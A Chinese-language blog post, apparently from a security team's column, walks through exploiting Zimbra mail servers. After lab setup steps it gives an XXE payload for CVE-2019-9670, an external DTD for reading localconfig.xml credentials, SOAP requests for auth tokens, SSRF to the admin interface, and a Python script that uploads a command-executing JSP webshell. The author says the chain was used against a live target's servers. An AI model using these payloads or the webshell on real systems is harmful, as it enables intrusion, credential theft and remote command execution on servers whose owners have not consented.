前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >zimbra RCE 漏洞利用

zimbra RCE 漏洞利用

作者头像
辞令
发布2020-11-25 12:58:04
4K1
发布2020-11-25 12:58:04
举报
文章被收录于专栏:WhITECat安全团队WhITECat安全团队

前言

近期在测试一个目标的时候发现对方好几个zimbra的服务器,按照网上提供的利用方法测试了之后发现利用不成功!接着自己搭建了zimbra在自己进行测试之后成功利用并且拿下zimbra服务器!

zimbra 环境搭建

搭建的方法我是按照网上帖子搭建的!很不错!

代码语言:javascript
复制
https://www.jianshu.com/p/722bc70ff426

环境搭建首先需要一个ubuntu的系统,并且更新好源,接着就安装辅助包!

配置

代码语言:javascript
复制
Ubuntu14.04-64位
root权限
磁盘剩余空间25G
RAM 4G

实现步骤

代码语言:javascript
复制
安装辅助包
配置hostname和DNS服务器
下载和安装Zimbra
测试安装

安装辅助包

链接服务器,并执行以下命令来安装相应的包

代码语言:javascript
复制
apt-get install libgmp10 libperl5.18 unzip pax sysstat sqlite3 dnsmasq wget

配置hostname和DNS服务器

代码语言:javascript
复制
vi /etc/hostname
更改hostname为自己的域名,例如mail.test.com

vi /etc/hosts 添加如下代码
172.16.25.242(本机IP) mail.test.com mail

编辑dnsmasq的配置

代码语言:javascript
复制
vim /etc/dnsmasq.conf


server=172.16.25.242
domain=test.com
mx-host=test.com, mail.test.com, 5
mx-host=mail.test.com, mail.test.com, 5
listen-address=127.0.0.1

安装Zimbra

第一步 下载并解压文件,执行如下命令来下载文件

代码语言:javascript
复制
wget https://files.zimbra.com/downloads/8.6.0_GA/zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116.tgz

执行如下命令来解压文件

代码语言:javascript
复制
tar -xvf zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116.tgz

然后进入此文件,如果接下来安装的时候遇到这个问题,就需要单独安装一个依赖才行!

代码语言:javascript
复制
wget http://th.archive.ubuntu.com/ubuntu/pool/universe/g/gmp4/libgmp3c2_4.3.2+dfsg-2ubuntu1_amd64.deb

dpkg -i libgmp3c2_4.3.2+dfsg-2ubuntu1_amd64.deb

第二步 安装

执行以下文件来安装

代码语言:javascript
复制
sudo ./install.sh

在这个过这个过程中会出现这样的选择,接着输入“y”,然后继续。遇到以下情况应该这样选择

这里不需要zimbra-dnscache,因为我们上边使用的是dnsmasq,所以不需要此包你需要等一会,因为安装这些包是需要一些时间的。

下一步是配置Zimbra-store的管理员账号密码,看如下代码:

代码语言:javascript
复制
Main menu

   1) Common Configuration:                                                  
   2) zimbra-ldap:                             Enabled                       
   3) zimbra-logger:                           Enabled                       
   4) zimbra-snmp:                             Enabled           
   5) zimbra-mta:                              Enabled            
   6) zimbra-store:                            Enabled                       
   ..............
   6) zimbra-spell:                            Enabled                       
   7) zimbra-proxy:                            Enabled                       
   8) Default Class of Service Configuration:                                
   s) Save config to file                                                    
   x) Expand menu                                                            
   q) Quit                                    

Address unconfigured (**) items  (? - help) 6

选择“6”,然后会出现

代码语言:javascript
复制
Store configuration

   1) Status:                                  Enabled                       
   2) Create Admin User:                       yes                           
   3) Admin user to create:                    admin@mail.test.local     
  .....                       
  24) Install UI (zimbra,zimbraAdmin webapps): yes 
  
Select, or 'r' for previous menu [r] 4

选择“4”,然后输入密码即可,之后的操作如下:

代码语言:javascript
复制
Main menu

   1) Common Configuration:                                                  
   .......                                                      
   q) Quit                                    

*** CONFIGURATION COMPLETE - press 'a' to apply
Select from menu, or press 'a' to apply config (? - help) a
Save configuration data to a file? [Yes] yes
Save config in file: [/opt/zimbra/config.11647] 
Saving config in /opt/zimbra/config.11647...done.
The system will be modified - continue? [No] yes

最后,你需要等待Zimbra配置完成。使用su - zimbra命令切换用户,zmcontrol status查看zimbra服务器状态

接着访问 访问IP:7071端口,跳转zimbra管理页面 ,注意这个是需要使用HTTPS协议来访问

zimbra RCE 漏洞靶机复现

Zimbra的配置文件是在 /conf/localconfig.xml 这个文件里面的!里面有保存到一些配置信息的用户名和密码!

首先的话需要先验证是否有CVE-2019-9670 XXE漏洞,接着抓取到它的数据包,这里需要带入cookie的数据包,发到重放中之后修改为POST模式来进行数据发送,接着URL修改为 /Autodiscover/Autodiscover.xml 。并且修改Content-Type: application/xml。接着带入XML 的POC

代码语言:javascript
复制
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
 <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
      <EMailAddress>aaaaa</EMailAddress>
      <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
    </Request>
  </Autodiscover>

读取到了 /etc/passwd 文件代表了具有CVE-2019-9670 XXE漏洞。接着需要构造payload来读取zimbra的配文件localconfig.xml。由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,由于XXE不能内部实体进行拼接,所以此处需要使用外部dtd。dtd内容:

代码语言:javascript
复制
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

接着再次使用刚刚的包请求XML来进行XXE攻击。

代码语言:javascript
复制
<!DOCTYPE Autodiscover [
        <!ENTITY % dtd SYSTEM "http://地址/dtd">
        %dtd;
        %all;
        ]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
    <Request>
        <EMailAddress>aaaaa</EMailAddress>
        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
    </Request>
</Autodiscover>

利用已经得到的密码获取低权限的token,低权限的token可以通过soap接口发送AuthRequest进行获取。访问到 /service/soap 或/service/admin/soap 接着进行 抓包并且修改为POST模式。还要修改Content-Type: application/xml 。XML的内容如下:

代码语言:javascript
复制
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
   <soap:Header>
       <context xmlns="urn:zimbra">
           <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
       </context>
   </soap:Header>
   <soap:Body>
     <AuthRequest xmlns="urn:zimbraAccount">
        <account by="adminName">zimbra</account>
        <password>上一步得到密码</password>
     </AuthRequest>
   </soap:Body>
</soap:Envelope>

接着发送数据包过去,这里他就返回回来一个低权限的Token了。这个Token需要保存,等下会用到。

拿到低权限的Token之后可以通过SSRF漏洞获取proxy接口,访问admin的soap接口来获取到高权限的Token,访问URL:/service/proxy?target=https://127.0.0.1:7071/service/admin/soap ,接着进行 抓包,获取到数据包之后修改POST模式。这一步需要把上一步获取到的低权限的token添加到cookie中将xmlns="urn:zimbraAccount"修改为 xmlns="urn:zimbraAdmin"并且需要在Host头中加入端口7070,URL中SSRF访问的target 需要使用https协议。但是这里通过SSRF失败了,通过/service/admin/soap获取高权限token

还有一种情况!一开始我按照公开提供的SSRF利用手法!在获取高权限token的时候,如果指定cookie 的等级为 ZM_AUTH_TOKEN 的时候会验证失败 ,出现如下的效果!

但是如果把cookie的等级替换为 ZM_ADMIN_AUTH_TOKEN 高权限的TOKEN的时候 就可以获取得到了!

接着利用刚刚获取到的高权限的TOKEN 来进行文件上传,把webshell上传上去!

代码语言:javascript
复制
import requests

file= {
'filename1':(None,"whocare",None),
'clientFile':("ss.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>',"text/plain"), 
'requestId':(None,"12",None),
}
headers ={ 
"Cookie":"ZM_ADMIN_AUTH_TOKEN=0_65ae5d9b75c34c538cd72a658f7de7d32a9ec7f9_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313630353233373838313432323b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d31303a313832383739333130393b;",#改成自己的admin_token
"Host":"foo:7071"
}
r=requests.post("https://192.168.8.155:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False)    
print(r.text)

接着访问到这个webshell,这个webshell需要有高权限的Cookie才可以访问得到这个webshell!

实战 zimbra RCE

复现这个漏洞主要就是遇到了这个邮箱服务器!并且存在XXE读取文件!前面的准备都是为了这一刻!!!!!

首先获取它的数据包,利用了CVE-2019-9670 XXE漏洞来读取配置文件。Zimbra配置文件位置为/conf/localconfig.xml。接着抓取到它的数据包,这里需要带入cookie的数据包。接着放到重放去,修改请求方式为POST,并且带入URL :/Autodiscover/Autodiscover.xml 。并且修改Content-Type: application/xml。

这里已经成功的读取到了用户的信息。说明XXE攻击成功了!接着需要构造payload来读取zimbra的配文件localconfig.xml。

利用已经得到的密码获取低权限的token,低权限的token可以通过soap接口发送AuthRequest进行获取。

拿到低权限的Token之后可以通过SSRF漏洞获取proxy接口,访问admin的soap接口来获取到高权限的Token,访问URL:/service/proxy?target=https://127.0.0.1:7071/service/admin/soap ,接着进行 抓包,获取到数据包之后修改POST模式。这一步需要把上一步获取到的低权限的token添加到cookie中,将xmlns="urn:zimbraAccount"修改为 xmlns="urn:zimbraAdmin",并且需要在Host头中加入端口7070,URL中SSRF访问的target 需要使用https协议,并且COOKIE需要更换为 ZM_ADMIN_AUTH_TOKEN 带上刚刚获取的 COOKIE。

接着通过python脚本来上传到对方的服务器中!一开始访问这个木马地址是需要高权限的COOKIE才行的!

成功了!哈哈哈哈哈哈哈

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-11-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 WhITECat安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档